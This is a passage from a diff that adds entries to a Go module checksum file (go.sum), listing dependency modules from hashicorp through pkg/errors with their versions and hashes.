+github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= +github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-hclog v1.2.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= +github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= +github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= +github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= +github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= +github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= +github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= +github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= +github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= +github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= +github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= +github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= +github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= +github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= +github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= +github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= +github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= +github.com/hashicorp/serf v0.9.7/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= +github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= +github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= +github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= +github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA= +github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= +github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= +github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= +github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= +github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= +github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA= +github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE= +github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s= +github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o= +github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY= +github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI= +github.com/jackc/pgconn v1.12.1/go.mod h1:ZkhRC59Llhrq3oSfrikvwQ5NaxYExr6twkdkMLaKono= +github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8= +github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE= +github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c= +github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= +github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= +github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= +github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= +github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= +github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= +github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= +github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= +github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= +github.com/jackc/pgproto3/v2 v2.3.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= +github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E= +github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg= +github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc= +github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw= +github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM= +github.com/jackc/pgtype v1.11.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4= +github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y= +github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM= +github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc= +github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs= +github.com/jackc/pgx/v4 v4.16.1/go.mod h1:SIhx0D5hoADaiXZVyv+3gSm3LCIIINTVO0PficsvWGQ= +github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jaswdr/faker v1.4.3/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY/yi6w= +github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= +github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= +github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= +github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= +github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= +github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= +github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= +github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= +github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= +github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= +github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/lib/pq v0.0.0-20180327071824-d34b9ff171c2/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= +github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= +github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= +github.com/magiconair/properties v1.8.6 h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo= +github.com/magiconair/properties v1.8.6/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= +github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= +github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= +github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= +github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= +github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= +github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= +github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= +github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= +github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= +github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= +github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= +github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= +github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= +github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= +github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= +github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= +github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= +github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= +github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= +github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= +github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= +github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= +github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= +github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= +github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= +github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= +github.com/moby/sys/mountinfo v0.5.0/go.mod h1:3bMD3Rg+zkqx8MRYPi7Pyb0Ie97QEBmdxbhnCLlSvSU= +github.com/moby/term v0.0.0-20201216013528-df9cb8a40635/go.mod h1:FBS0z0QWA44HXygs7VXDUOGoN/1TV3RuWkLO04am3wc= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ= +github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo= +github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d/go.mod h1:IuKpRQcYE1Tfu+oAQqaLisqDeXgjyyltCfsaoYN18NQ= +github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= +github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= +github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= +github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= +github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= +github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= +github.com/opencontainers/image-spec v1.0.2/go.mod h1:BtxoFyWECRxE4U/7sNtV5W15zMzWCbyJoFRP3s7yZA0= +github.com/opencontainers/runc v1.1.2/go.mod h1:Tj1hFw6eFWp/o33uxGf5yF2BX5yz2Z6iptFpuvbbKqc= +github.com/opencontainers/runtime-spec v1.0.3-0.20210326190908-1c3f411f0417/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/C5hL+LL3ko9hs6T5lQ0= +github.com/opencontainers/selinux v1.10.0/go.mod h1:2i0OySw99QjzBBQByd1Gr9gSjvuho1lHsJxIJ3gGbJI= +github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= +github.com/ory/dockertest/v3 v3.9.1/go.mod h1:42Ir9hmvaAPm0Mgibk6mBPi7SFvTXxEcnztDYOJ//uM= +github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= +github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= +github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= +github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= +github.com/pelletier/go-toml v1.8.0/go.mod h1:D6yutnOGMveHEPV7VQOuvI/gXY61bv+9bAOTRnLElKs= +github.com/pelletier/go-toml v1.9.3/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= +github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= +github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= +github.com/pelletier/go-toml/v2 v2.0.1 h1:8e3L2cCQzLFi2CR4g7vGFuFxX7Jl1kKX8gW+iV0GUKU= +github.com/pelletier/go-toml/v2 v2.0.1/go.mod h1:r9LEWfGN8R5k0VXJ+0BkIe7MYkRdwZOjgMj2KwnJFUo= +github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= +github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= +github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 